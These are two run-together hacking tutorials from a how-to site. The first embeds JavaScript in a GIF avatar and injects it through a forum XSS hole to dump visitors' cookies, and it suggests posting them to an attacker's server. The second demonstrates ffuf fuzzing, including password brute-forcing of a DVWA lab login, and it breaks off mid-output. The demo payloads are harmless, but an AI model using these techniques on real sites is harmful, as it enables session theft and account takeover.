All Your Instant Messenger Accounts At OnceMastering Security, Part 2:How to Create a Home VPN TunnelHow To:Create Your Own Native American Girl Halloween CostumeHow To:Code a Basic TCP/IP Client & Server Duo in PythonHow To:Stream Media to a PS3 or Xbox 360 from Mac & Linux Computers
How to Hack Forum Accounts with Password-Stealing Pictures « Null Byte :: WonderHowTo
The pictures we upload online are something we tend to think of as self-expression, but these very images can carry code to steal our passwords and data. Profile pictures, avatars, and image galleries are used all over the internet. While all images carry digital picture data — and many also carry metadata regarding camera or photo edits — it's far less expected that an image might actually be hiding malicious code.How Is Hiding Code in an Image Possible?Files are generally structured in a few different parts. Image files, for instance, generally begin with some declaration of the type of image file data present. This is usually something like a "Start of Image" marker, a sequence or number which indicates what is going to follow it. GIF files begin with GIF87a or GIF89a when viewed as ISO 8859-1 encoding, or "47 49 46 38 37 61" in hexadecimal.These signatures are followed by data which corresponds to the arrangement and coloring of pixels in the image. This data, when enclosed in an image file, is enough to create a usable bitmap image. However, in addition to this visible image data, following the end of the image data, metadata such as EXIF can be inserted following an application marker segments. After these points, the image data has been both opened and closed with defined indicators, and anything after this data will not be processed as an image.A GIF image viewed as hexadecimal values.Metadata is generally only visible to the user when it's specifically parsed, and in the same way, hidden code will only be visible to a program which is looking for code to run. While this data often contains camera information, location data, or similar information related to the photograph itself, it could also be stuffed with another file, or in this case, executable code.Don't Miss:An Introduction to Steganography & Its UsesDespite the hidden content included in an image file, it still behaves as a standard image as the opening and closing components of the image content are sufficient for image-viewing programs to interpret and effectively display the image.In the same way, when a website is told to look for a certain type of script, it will at least attempt to run, or look for something it can use for the action it is instructed to do. If this script is an image file rather than a text file, the website will be able to run the script so long as it can find the opening and closing elements of the code.How Can This Technique Be Used?Websites such as forums, hosting sites, or other sites with user-generated content often allow for the uploading of images and posting of text or media content.In certain cases, HTML script tags will be permitted, perhaps a widget available for users to add to their posts or pages. A script tag may be able to be inserted where it should not have been due to a lack of form verification, often by using an escape tag like the HTML textarea property... But even if not, you'll be able to host your own web page that sources scripts from other pages, and if those scripts try to access cookies from the domain they're hosted on, they'll be granted access.Because of this, as a protective measure, most sites won't let you upload scripts, but many will allow you to upload images. And many of those will just save the image and serve it up as-is (with our payload in tact). So, by uploading JavaScript within an image, it can be hosted on, and executed from a site's server. In addition, the technique greatly obfuscates malicious JavaScript even when used on a server controlled by the attacker, and could be used to obscure the actions of a phishing page.What Can We Do by Executing JavaScript Hosted on a Target Server?JavaScript can be used to attempt to steal cookies, which may include authentication tokens, are often vulnerable to XSS escape strings to execute more javascript, can prompt browsers to download or run a program, and even steal information from other websites the user has visited (assuming the target host serves up integrations that other web pages access). In the case of this example, a simple JavaScript alert function is used in order to confirm that JavaScript is running properly, but this could be replaced with malicious code or even a BeEF browser hook.Don't Miss:How to Hack Web Browsers with BeEFStep 1: Downloading & Installing ImagejsLet's begin by cloning the git repository for the project. The commands in these examples are entered in a Kali Linux terminal environment.git clonehttps://github.com/jklmnn/imagejsAfter cloning the repository, we move into the directory with the following command.cd imagejsFinally, to compile the program, we simply run:makeStep 2: Preparing JavaScript CodeThe JavaScript formatting required is relatively minimal. No opening or closing tags are needed, and our file can simply specify the actions we wish to be performed. In order to test JavaScript functionality, we might use a sample string such as the one below. This JavaScript code will simply open an alert window with the text "Null Byte."window.alert("Null Byte");We can save this text as the filename of our choice, or directly send it to script.js with the following command line string.echo "window.alert("Null Byte");" > script.jsStep 3: Embedding JavaScript into an ImageThe JavaScript code can be embedded into any GIF, BMP, WEBP, PNM, or PGF file. However, depending on the limitations of where the image is going to be uploaded, we should consider how we form it.If the image is going to be uploaded as an avatar or profile picture on a website, we should make sure both that it isn't too large of a file, nor that its resolution exceeds the maximum size. If the image with embedded JavaScript is scaled or compressed by the website, or if the site strips EXIF data, the functionality of the code may not be maintained, so the hope is that if you upload an image that fits the sites stated requirements, they'll save it in a hosted location as-is, without any alterations. I simply used the image below, saved as a GIF file by being exported using GIMP.Step 4: Using ImagejsOnce we have both the code we would like to embed and the image we would like to add the code to, we can embed them using the following parameters. The script in this example is titled "script.js" and the image "image.jpg" — both of which are in the same directory as the imagejs program, as we can confirm by runningls.The syntax begins with running the program, imagejs. The first argument, in this casegif, indicates the file type. The second argument refers to the script we are using, and the final argument following the-iflag is the image we wish to modify../imagejs gif script.js -i image.gifThe name of the output file. in this case. will be "script.js.gif." However, we can rename it to whatever we choose.Step 5: Testing the ScriptTo test the functionality of the script image, let's create an HTML test page with opening and body tags.<html><body><img src="script.js.gif"><script src="script.js.gif"></script></body></html>We can save this file as "script.html" or the filename of our choice. When we open it in a browser, it should look like the following image.The <img> tag has been included in order to demonstrate that the GIF image is still entirely functional as an image, but it could be omitted and the script would still run.Serving this from a file works as file systems don't specify file mime types. Most modern web servers will specify a mime type for the files it serves based on the file extension. If this is the case and the web server specifies an image mime type (such as image/gif), modern browsers will not attempt to execute the script as image mime types are not executable.Step 6: AttackingNow that we've established a way to embed JavaScript in images, we'll want to look at what we can do with that JavaScript code — and how it can be injected into a live website.The following command will attempt to dump write cookies to the served up web-page. These cookies may be able to be used to impersonate users by stealing their authentication tokens. Now, obviously simply writing them to their browser isn't going to get them to you (you'll have to write a script to quietly post them to your own server), but this will serve as a simple proof of concept:document.write('cookie: ' + document.cookie)Don't Miss:Use BeEF & JavaScript for ReconnaissanceFinally, in order to deploy the attack, we need to find somewhere to upload our image and either another field that's vulnerable to XSS attacks where we are able to escape input verification and use a <script> tag, or (more easily) load the image (as a script) from our own phishing webpage. In the example below, we uploaded our avatar, 1337.gif, and following a </textarea> exit tag, we enclose it in script tags. After this, anyone who views this profile will have their cookies dumped to their browser window. Replace the script above with one that silently posts the values of document.cookie to a server of your choosing, and you've got your self a silent credential thief.Step 7: Defending Against the AttackThe solution for defending against an attack like this on the client-side may be as simple as installingNoScript, and to stick to trustworthy sites (such as Null Byte) that spend copious amounts of time protecting themselves against XSS attacks. However, it's quite difficult to differentiate good and bad scripts, and the responsibility for preventing malicious JavaScript injection lies on the shoulders of web developers and administrators.For web developers to properly avoid any sort of JavaScript, PHP, or SQL injection, the solution is the same — input sanitation and user privilege management. If a user is at any point able to attain remote code execution, the majority of the battle has already been lost. Make sure your web server is up to date and is properly configured to serve image/* mime-types for any image files you host. While it can take a little more work, the best practice would be to strip any EXIF data from any user uploaded images... or if you don't know how to do that, simply use one of the image resizing libraries such asImageMagickto re-size and re-compress any images that are uploaded as this will often strip EXIF data as part of the process.Don't Miss:Find XSS Vulnerable Sites with the Big List of Naughty StringsFollow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by TAKHION/Null ByteRelatedNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Protect Yourself from the Biggest Jailbreak Hack in HistoryNews:Apple Says iPhone & iCloud Are Safe After Claimed Breach by 'Turkish Crime Family'How To:Get Your Hacked Facebook Account Back.How To:Create, AutoFill & Store Strong Passwords Automatically for Websites & Apps in iOS 12How To:Twitter's Massive Security Flaw Makes Your Password Easy to HackHow To:What Happens to Your Passwords When You Die?How To:Set Up Instagram Recovery Codes So You Can Always Access Your Account with 2FA EnabledHow To:Manage Stored Passwords So You Don't Get HackedHow To:Hack Someone's Cell Phone to Steal Their PicturesHow To:Use Google's Advanced Protection Program to Secure Your Account from PhishingHow To:This LastPass Phishing Hack Can Steal All Your Passwords—Here's How to Prevent ItAdvice from a Real Hacker:How to Create Stronger PasswordsHow To:Find & Change Weak Reused Passwords to Stronger Ones More Easily in iOS 12Hack Like a Pro:The Ultimate Social Engineering HackHow To:Enable Two-Step Verification on Your Apple ID for iCloud, App Store, & iTunesGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingMastering Security, Part 1:How to Manage and Create Strong PasswordsSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitNews:FBI Shuts Down One of the Biggest Hacking ForumsHow To:Create Strong, Safe PasswordsGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingHow To:Safely Log In to Your SSH Account Without a PasswordNews:ShouldIChangeMyPassword.comHow To:Make Your Laptop Theft ProofHow To:Edit Your Google+ Account SettingsGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingCommunity Byte:Coding a Web-Based Password Cracker in PythonHow To:Hack Mac OS X Lion PasswordsHow To:Really Connect Your Words with Friends Mobile Account to FacebookHow To:Carve Saved Passwords Using CainSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftNews:Don't cheat!Goodnight Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsNews:1.5 Million Credit Cards Hacked in the Global Payments Breach: Was Yours One of Them?How To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Make a Gmail Notifier in PythonHow To:Remove a Windows Password with a Linux Live CDGoodnight Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker Training
How to Fuzz Parameters, Directories & More with Ffuf « Null Byte :: WonderHowTo
The art of fuzzing is a vital skill for any penetration tester or hacker to possess. The faster you fuzz, and the more efficiently you are at doing it, the closer you come to achieving your goal, whether that means finding a valid bug or discovering an initial attack vector. A tool called ffuf comes in handy to help speed things along and fuzz for parameters, directors, and more.What Is Fuzzing?Fuzzing, or fuzz testing, is theautomatedprocess of providing malformed or random data to software to discover bugs. Typically, when it comes topentesting, awordlistis used to iterate through values, and the results are observed and analyzed.Fuzzing usually involves testing input — this can be anything from alphanumeric characters to findbuffer overflows, to odd characters to test forSQL injection. Fuzzing is also commonly used to discover hidden directories and files and to determine valid parameter names and values.We will be usingMetasploitable 2as our target andKali Linuxas our local machine to demonstrate ffuf's power at fuzzing.Step 1: Install & Configure FfufThe only requirement to run ffuf is having Go installed, which can easily be done on Kali with thepackage manager.~$ sudo apt install golang Reading package lists... Done Building dependency tree Reading state information... Done golang is already the newest version (2:1.14~2). 0 upgraded, 0 newly installed, 0 to remove and 17 not upgraded.Next, grab the latest ffuf release fromGitHub. At the time of writing, this is version 1.1.0. We can usewgetto download it.~$ wget https://github.com/ffuf/ffuf/releases/download/v1.1.0/ffuf_1.1.0_linux_amd64.tar.gz --2020-08-27 11:36:41-- https://github.com/ffuf/ffuf/releases/download/v1.1.0/ffuf_1.1.0_linux_amd64.tar.gz Resolving github.com (github.com)... 140.82.112.4 Connecting to github.com (github.com)|140.82.112.4|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://github-production-release-asset-2e65be.s3.amazonaws.com/156681830/192d4700-cceb-11ea-97f4-adcd48470676?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20200827%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20200827T163641Z&X-Amz-Expires=300&X-Amz-Signature=493a4881a3e960fb7c29baa5ee999efe96bbb5414fd122355b1ec19fe65d1214&X-Amz-SignedHeaders=host&actor_id=0&repo_id=156681830&response-content-disposition=attachment%3B%20filename%3Dffuf_1.1.0_linux_amd64.tar.gz&response-content-type=application%2Foctet-stream [following] --2020-08-27 11:36:41-- https://github-production-release-asset-2e65be.s3.amazonaws.com/156681830/192d4700-cceb-11ea-97f4-adcd48470676?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20200827%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20200827T163641Z&X-Amz-Expires=300&X-Amz-Signature=493a4881a3e960fb7c29baa5ee999efe96bbb5414fd122355b1ec19fe65d1214&X-Amz-SignedHeaders=host&actor_id=0&repo_id=156681830&response-content-disposition=attachment%3B%20filename%3Dffuf_1.1.0_linux_amd64.tar.gz&response-content-type=application%2Foctet-stream Resolving github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)... 52.217.37.12 Connecting to github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)|52.217.37.12|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 3101002 (3.0M) [application/octet-stream] Saving to: ‘ffuf_1.1.0_linux_amd64.tar.gz’ ffuf_1.1.0_linux_amd64.tar.gz 100%[========================================================================================================================================>] 2.96M 5.74MB/s in 0.5s 2020-08-27 11:36:42 (5.74 MB/s) - ‘ffuf_1.1.0_linux_amd64.tar.gz’ saved [3101002/3101002]Now we need to extract the contents of the archive.~$ tar xzf ffuf_1.1.0_linux_amd64.tar.gzWe should now have the ffuf executable in the current working directory, and we can run it with the dot-slash command.~$ ./ffuf Encountered error(s): 2 errors occured. * -u flag or -request flag is required * Either -w or --input-cmd flag is required Fuzz Faster U Fool - v1.1.0 HTTP OPTIONS: -H Header `"Name: Value"`, separated by colon. Multiple -H flags are accepted. -X HTTP method to use (default: GET) -b Cookie data `"NAME1=VALUE1; NAME2=VALUE2"` for copy as curl functionality. -d POST data -ignore-body Do not fetch the response content. (default: false) -r Follow redirects (default: false) -recursion Scan recursively. Only FUZZ keyword is supported, and URL (-u) has to end in it. (default: false) -recursion-depth Maximum recursion depth. (default: 0) -replay-proxy Replay matched requests using this proxy. -timeout HTTP request timeout in seconds. (default: 10) -u Target URL -x HTTP Proxy URL GENERAL OPTIONS: -V Show version information. (default: false) -ac Automatically calibrate filtering options (default: false) -acc Custom auto-calibration string. Can be used multiple times. Implies -ac -c Colorize output. (default: false) -maxtime Maximum running time in seconds for entire process. (default: 0) -maxtime-job Maximum running time in seconds per job. (default: 0) -p Seconds of `delay` between requests, or a range of random delay. For example "0.1" or "0.1-2.0" -s Do not print additional information (silent mode) (default: false) -sa Stop on all error cases. Implies -sf and -se. (default: false) -se Stop on spurious errors (default: false) -sf Stop when > 95% of responses return 403 Forbidden (default: false) -t Number of concurrent threads. (default: 40) -v Verbose output, printing full URL and redirect location (if any) with the results. (default: false) ...Running it without any arguments will print the help information and some usage examples. Now let's say we wanted to be able to run this tool from anywhere — all we need to do is move ffuf to any directory in our path.~$ sudo cp ffuf /usr/local/bin/Now we can run it from anywhere without the need to have it in the current directory.~$ ffuf -V ffuf version: 1.1.0The last step to get up and running is optional. Having a good set ofwordlistsis essential for any security professional, and there is a collection calledSecListsthat has just about anything you need. It is available on GitHub, but we can also install it locally on our machine.~$ sudo apt install seclistsStep 2: Perform Some Basic FuzzingAt the most basic level, we can use ffuf to fuzz forhidden directories or files. There are tools likegobusterout there that are made for this specific purpose, but using something like ffuf has its use cases.For example, let's say you're testing a website that has some sort of rate-limiting in place. With other tools, it can sometimes be challenging to get them to go slower, and this is precisely where tools like ffuf come into play since we can more finely control the rate and timing options. More on that later.Simply provide a wordlist with the-wflag, the URL with the-uflag, and putFUZZwhere we want to insert our fuzzing.~$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.0.50/dvwa/FUZZ /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://10.10.0.50/dvwa/FUZZ :: Wordlist : FUZZ: common.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ .hta [Status: 403, Size: 292, Words: 22, Lines: 11] .htpasswd [Status: 403, Size: 297, Words: 22, Lines: 11] .htaccess [Status: 403, Size: 297, Words: 22, Lines: 11] README [Status: 200, Size: 4934, Words: 637, Lines: 120] config [Status: 301, Size: 319, Words: 21, Lines: 10] docs [Status: 301, Size: 317, Words: 21, Lines: 10] about [Status: 302, Size: 0, Words: 1, Lines: 1] external [Status: 301, Size: 321, Words: 21, Lines: 10] favicon.ico [Status: 200, Size: 1405, Words: 5, Lines: 2] php.ini [Status: 200, Size: 148, Words: 17, Lines: 5] index [Status: 302, Size: 0, Words: 1, Lines: 1] robots [Status: 200, Size: 26, Words: 3, Lines: 2] robots.txt [Status: 200, Size: 26, Words: 3, Lines: 2] instructions [Status: 302, Size: 0, Words: 1, Lines: 1] index.php [Status: 302, Size: 0, Words: 1, Lines: 1] logout [Status: 302, Size: 0, Words: 1, Lines: 1] phpinfo [Status: 302, Size: 0, Words: 1, Lines: 1] login [Status: 200, Size: 1289, Words: 83, Lines: 66] phpinfo.php [Status: 302, Size: 0, Words: 1, Lines: 1] setup [Status: 200, Size: 3549, Words: 182, Lines: 81] security [Status: 302, Size: 0, Words: 1, Lines: 1] :: Progress: [4658/4658] :: Job [1/1] :: 388 req/sec :: Duration: [0:00:12] :: Errors: 0 ::You'll notice the usage is very similar towfuzz, so new users of the tool will feel somewhat familiar with its operation.After the nice little banner, we can see therequest method, URL, and some other options that are set. When ffuf comes across something in the wordlist, it will give us the name of the file or directory, the HTTP status code, and some information about the request length.We can also include any necessary cookies in our request using the-bflag.~$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -b "PHPSESSID=a4885a1d1802209109693054d94ae214; security=low" -u http://10.10.0.50/dvwa/FUZZ /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://10.10.0.50/dvwa/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt :: Header : Cookie: PHPSESSID=a4885a1d1802209109693054d94ae214; security=low :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ .hta [Status: 403, Size: 292, Words: 22, Lines: 11] .htaccess [Status: 403, Size: 297, Words: 22, Lines: 11] README [Status: 200, Size: 4934, Words: 637, Lines: 120] ...Along the same lines, we can include any custom headers we want with the-Hflag.~$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -H "Host: 10.10.0.50" -u http://10.10.0.50/dvwa/FUZZ /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://10.10.0.50/dvwa/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt :: Header : Host: 10.10.0.50 :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ .hta [Status: 403, Size: 292, Words: 22, Lines: 11] .htaccess [Status: 403, Size: 297, Words: 22, Lines: 11] .htpasswd [Status: 403, Size: 297, Words: 22, Lines: 11] README [Status: 200, Size: 4934, Words: 637, Lines: 120] ...Instead of doing the default GET request, we can also send POST requests. Use the-Xflag to specify the request type, in this case, POST, and include the data for the request with the-dflag.~$ ffuf -w /usr/share/seclists/Passwords/darkweb2017-top100.txt -X POST -d "username=admin\&password=FUZZ\&Login=Login" -u http://10.10.0.50/dvwa/login.php /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : POST :: URL : http://10.10.0.50/dvwa/login.php :: Wordlist : FUZZ: /usr/share/seclists/Passwords/darkweb2017-top100.txt :: Data : username=admin\&password=FUZZ\&Login=Login :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ 123abc [Status: 200, Size: 1289, Words: 83, Lines: 66] 123456789 [Status: 200, Size: 1289, Words: 83, Lines: 66] 123321 [Status: 200, Size: 1289, Words: 83, Lines: 66] ...We can use ffuf to fuzz for parameters as well — simply replace the parameter name to fuzz for with the FUZZ keyword.~$ ffuf -w /usr/share/seclists/Fuzzing/fuzz-Bo0oM.txt -u http://10.10.0.50/dvwa/instructions.php?FUZZ=readme /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://10.10.0.50/dvwa/instructions.php?FUZZ=readme :: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/fuzz-Bo0oM.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ !.htpasswd [Status: 302, Size: 0, Words: 1, Lines: 1] .AppleDouble [Status: 302, Size: 0, Words: 1, Lines: 1] .AppleDesktop [Status: 302, Size: 0, Words: 1, Lines: 1] .bak [Status: 302, Size: 0, Words: 1, Lines: 1] !.htaccess [Status: 302, Size: 0, Words: 1, Lines: 1] ...Fuzzing for parameter values works the same way.~$ ffuf -w /usr/share/seclists/Fuzzing/fuzz-Bo0oM.txt -u http://10.10.0.50/dvwa/instructions.php?doc=FUZZ /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://10.10.0.50/dvwa/instructions.php?FUZZ=readme :: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/fuzz-Bo0oM.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ !.htpasswd [Status: 302, Size: 0, Words: 1, Lines: 1] .AppleDouble [Status: 302, Size: 0, Words: 1, Lines: 1] .AppleDesktop [Status: 302, Size: 0, Words: 1, Lines: 1] .bak [Status: 302, Size: 0, Words: 1, Lines: 1] !.htaccess [Status: 302, Size: 0, Words: 1, Lines: 1] ...Step 3: Try the Filtering & Timing OptionsFfuf can perform matching and filtering, depending on what you want to see in the results. For instance, if we only wanted to see results with a 200 status code, we could use the-mcswitch to match.~$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.0.50/dvwa/FUZZ -mc 200 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://10.10.0.50/dvwa/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200 ________________________________________________ README [Status: 200, Size: 4934, Words: 637, Lines: 120] favicon.ico [Status: 200, Size: 1405, Words: 5, Lines: 2] php.ini [Status: 200, Size: 148, Words: 17, Lines: 5] robots [Status: 200, Size: 26, Words: 3, Lines: 2] robots.txt [Status: 200, Size: 26, Words: 3, Lines: 2] ...On the flip side, we can also filter certain status codes using the-fcswitch.~$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.0.50/dvwa/FUZZ -fc 403 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://10.10.0.50/dvwa/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 :: Filter : Response status: 403 ________________________________________________ README [Status: 200, Size: 4934, Words: 637, Lines: 120] config [Status: 301, Size: 319, Words: 21, Lines: 10] docs [Status: 301, Size: 317, Words: 21, Lines: 10] external [Status: 301, Size: 321, Words: 21, Lines: 10] favicon.ico [Status: 200, Size: 1405, Words: 5, Lines: 2] php.ini [Status: 200, Size: 148, Words: 17, Lines: 5] about [Status: 302, Size: 0, Words: 1, Lines: 1] ...This will hide any results with a 403 status code. Multiple codes for wither matching or filtering can be used as long as they are comma-separated.We can perform similar matching and filtering with request size and the number of words or lines. For example, to filter any results returning with request size 0, do the following.~$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.0.50/dvwa/FUZZ -fs 0 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://10.10.0.50/dvwa/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 :: Filter : Response size: 0 ________________________________________________ .htpasswd [Status: 403, Size: 297, Words: 22, Lines: 11] README [Status: 200, Size: 4934, Words: 637, Lines: 120] config [Status: 301, Size: 319, Words: 21, Lines: 10] docs [Status: 301, Size: 317, Words: 21, Lines: 10] external [Status: 301, Size: 321, Words: 21, Lines: 10] favicon.ico [Status: 200, Size: 1405, Words: 5, Lines: 2] .htaccess [Status: 403, Size: 297, Words: 22, Lines: 11] .hta [Status: 403, Size: 292, Words: 22, Lines: 11] php.ini [Status: 200, Size: 148, Words: 17, Lines: 5] ...Ffuf has some additional features to controltimingof requests as well. To set a timeout for each individual request, use the-timeoutoption (default is 10 seconds).~$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.0.50/dvwa/FUZZ -timeout 5 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://10.10.0.50/dvwa/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt :: Follow redirects : false :: Calibration : false :: Timeout : 5 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ .hta [Status: 403, Size: 292, Words: 22, Lines: 11] .htpasswd [Status: 403, Size: 297, Words: 22, Lines: 11] .htaccess [Status: 403, Size: 297, Words: 22, Lines: 11] README [Status: 200, Size: 4934, Words: 637, Lines: 120] config [Status: 301, Size: 319, Words: 21, Lines: 10] ...We can also set a delay between each request with the-pflag. For example, to delay 2 seconds between requests, try the following.~$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.0.50/dvwa/FUZZ -p 2 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://10.10.0.50/dvwa/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Delay : 2.00 seconds :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ .hta [Status: 403, Size: 292, Words: 22, Lines: 11] .htaccess [Status: 403, Size: 297, Words: 22, Lines: 11] .htpasswd [Status: 403, Size: 297, Words: 22, Lines: 11] ...This is extremely useful in situations where rate limiting is in place, or when we don't want tohammer a sitewith requests.Another handy feature is the ability to set a maximum time for ffuf to run — this is useful when using a large wordlist, and you don't want to wait around all day for it to finish. Use the-maxtimeoption followed by the number of seconds for ffuf to run before exiting.~$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.0.50/dvwa/FUZZ -maxtime 60 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: 